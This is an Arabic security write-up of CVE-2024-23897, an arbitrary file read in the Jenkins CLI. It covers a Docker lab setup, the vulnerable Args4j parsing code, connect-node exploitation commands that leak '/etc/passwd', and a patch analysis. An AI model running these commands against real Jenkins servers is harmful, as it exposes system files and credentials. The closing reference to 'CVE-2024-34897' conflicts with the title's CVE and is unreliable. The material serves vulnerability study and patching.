
[CVE-2024-23897] قراءة ملفات تعسفية موثّقة عبر CLI في Jenkins CI تؤدي إلى تنفيذ تعليمات برمجية عن بُعد (RCE)
Jenkins هي أداة DevOps برمجية مفتوحة المصدر ومكتفية ذاتيًا لأتمتة التكامل المستمر والتسليم المستمر والنشر (CI/CD)، مكتوبة بلغة البرمجة جافا. تُستخدم لتنفيذ سير عمل CI/CD يُسمى خطوط الأنابيب.
يحتوي Jenkins على واجهة سطر أوامر مدمجة (CLI) للوصول إلى Jenkins من بيئة سكربت أو شل. يستخدم Jenkins مكتبة Args4j لتحليل وسائط وخيارات الأوامر على وحدة تحكم Jenkins عند معالجة أوامر CLI. يمتلك محلل الأوامر هذا ميزة تستبدل علامة @ متبوعة بمسار ملف في وسيط بمحتويات الملف (expandAtFiles). هذه الميزة مفعّلة افتراضيًا ولا تقوم إصدارات Jenkins 2.441 and earlier، LTS 2.426.2 and earlier بتعطيلها.
يتيح ذلك للمهاجمين قراءة ملفات تعسفية على نظام ملفات وحدة تحكم Jenkins باستخدام ترميز الأحرف الافتراضي لعملية وحدة التحكم في Jenkins.
إعداد البيئة
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

الكود القابل للاستغلال
تجدر الإشارة إلى أن هذه الثغرة تم اكتشافها من قبل فريق أبحاث الثغرات في SonarSource، وقد تم نسخ هذا القسم من التدوينة الفنية لـ SonarSource.
يمكن العثور على الكود القابل للاستغلال في مكتبة Args4j،
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
تقوم دالة expandAtFiles في الفئة CmdLineParser.java بشكل أساسي باستبدال علامة @ متبوعة بمسار ملف في وسيط بمحتوى الملف: تتحقق مما إذا كانت الوسيطة تبدأ بحرف @، وإذا كان الأمر كذلك، فإنها تقرأ الملف الموجود في المسار بعد @ وتوسّع وسيطة جديدة لكل سطر. هذا يعني أنه إذا تمكن المهاجم من التحكم في وسيط، فيمكنه توسيعه إلى عدد تعسفي من الوسائط من ملف تعسفي على مثيل Jenkins.
إحدى الطرق التي يمكن للمهاجم استغلال هذا بها هي إيجاد أمر يقبل عددًا تعسفيًا من الوسائط ويعرضها مرة أخرى للمستخدم. نظرًا لأن الوسائط تُملأ من محتويات الملف، يمكن للمهاجم تسريب محتويات الملف بهذه الطريقة. لهذا الغرض، يُعد أمر connect-node في hudson/cli مرشحًا جيدًا: فهو يستقبل قائمة من السلاسل النصية كوسيط ويحاول الاتصال بكل واحدة منها. إذا فشل، يتم إنشاء رسالة خطأ تحمل اسم العقدة التي فشل الاتصال بها.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
عادةً ما يتطلب أمر connect-node صلاحية CONNECT، والتي يتم التحقق منها في دالة cliConnect. ولكن نظرًا لأنه يتم إلقاء الاستثناء قبل التحقق من الصلاحية في دالة resolveForCLI، فإن الأمر في الواقع لا يتطلب أي تفويضات بخلاف التحقق الأولي للقراءة فقط.
خطوات الاستغلال
عادةً، تُستخدم علامة @ في Jenkins-cli لتحديد ملف يحتوي على رمز الوصول (bearer token) أو username:password من ملف.
استخدام أمر مُصادَق مع Jenkins-cli سينتج المخرجات التالية:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

استخدام ميزة الحرف @ لتحديد ملف credentials.txt في خيار -auth ينتج ما يلي:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

تحليل التصحيح
عالج فريق أمان Jenkins ثغرة CVE-2024-23897 من خلال إدخال إعداد آمن يعطّل ميزة expandAtFiles. يتضمن التصحيح إضافة تحقق من الأصل (origin) إلى نقطة نهاية WebSocket لـ CVE-2024-23898، مما يمنع الوصول غير المصرح به.
الالتزام ذو الصلة: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: هذا المتغير هو قيمة منطقية (boolean) تشير إلى ما إذا كان بناء جملة '@' مسموحًا به. تتم قراءته من خصائص النظام.ParserProperties: توفر هذه الفئة خصائص لتكوين CmdLineParser.withAtSyntax(ALLOW_AT_SYNTAX): يعيّن خاصية 'allowAtSyntax' في ParserProperties بناءً على قيمة ALLOW_AT_SYNTAX.new CmdLineParser(this, properties): ينشئ مثيلًا جديدًا من CmdLineParser، مع تمرير الكائن الحالي (this) وParserProperties المكوَّن.مزيد من المعلومات حول ثغرة CVE-2024-34897 والإشادات كما يلي: